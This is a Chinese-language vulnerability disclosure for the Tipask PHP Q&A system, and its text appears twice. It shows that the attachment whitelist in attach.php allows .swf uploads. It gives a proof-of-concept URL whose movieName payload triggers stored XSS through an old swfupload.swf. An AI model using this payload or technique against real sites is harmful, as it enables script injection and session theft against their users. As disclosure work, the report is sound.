### 简要描述： Tipask问答系统是一款开放源码的PHP仿百度知道程序。以国人的使用习惯为设计理念，采用MVC构架，系统具有速度快，SEO友好，界面操作简洁明快等特点。天极网、戴尔中国、WPS office等大型网站均采用了该系统。 ### 详细说明： Tipask问答系统在对用户提问的时候允许上传附件类型存在安全隐患： 文件 /control/attach.php 有如下代码： ``` function onupload() { //上传配置 $config = array( "uploadPath" => "data/attach/", //保存路径 "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式 "fileSize" => 10 //文件大小限制，单位MB ); ``` 虽是不允许上传html，但是却允许swf上传，那么我们就可以构造一个带有xss代码的swf上传之后访问，就能生成一个持久型的xss了。 ### 漏洞证明： 发表一个问题，然后在上传的地方：上传一个带有缺陷的swf，这里我以swfupload.swf为例，大家都知道 swfupload.swf 老版本存在一个跨站漏洞。so。。 [<img src="https://images.seebug.org/upload/201406/1914323733ec100b101aeaf4b71755644d438af6.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/1914323733ec100b101aeaf4b71755644d438af6.jpg) 然后构造好访问： ``` http://localhost/tipask/data/attach/1406/nMHzHAXB.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}// ``` 截图证明： [<img...
### 简要描述： Tipask问答系统是一款开放源码的PHP仿百度知道程序。以国人的使用习惯为设计理念，采用MVC构架，系统具有速度快，SEO友好，界面操作简洁明快等特点。天极网、戴尔中国、WPS office等大型网站均采用了该系统。 ### 详细说明： Tipask问答系统在对用户提问的时候允许上传附件类型存在安全隐患： 文件 /control/attach.php 有如下代码： ``` function onupload() { //上传配置 $config = array( "uploadPath" => "data/attach/", //保存路径 "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式 "fileSize" => 10 //文件大小限制，单位MB ); ``` 虽是不允许上传html，但是却允许swf上传，那么我们就可以构造一个带有xss代码的swf上传之后访问，就能生成一个持久型的xss了。 ### 漏洞证明： 发表一个问题，然后在上传的地方：上传一个带有缺陷的swf，这里我以swfupload.swf为例，大家都知道 swfupload.swf 老版本存在一个跨站漏洞。so。。 [<img src="https://images.seebug.org/upload/201406/1914323733ec100b101aeaf4b71755644d438af6.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/1914323733ec100b101aeaf4b71755644d438af6.jpg) 然后构造好访问： ``` http://localhost/tipask/data/attach/1406/nMHzHAXB.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}// ``` 截图证明： [<img src="https://images.seebug.org/upload/201406/19143336c96a08ac59556836961606b7d62d329e.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/19143336c96a08ac59556836961606b7d62d329e.jpg)
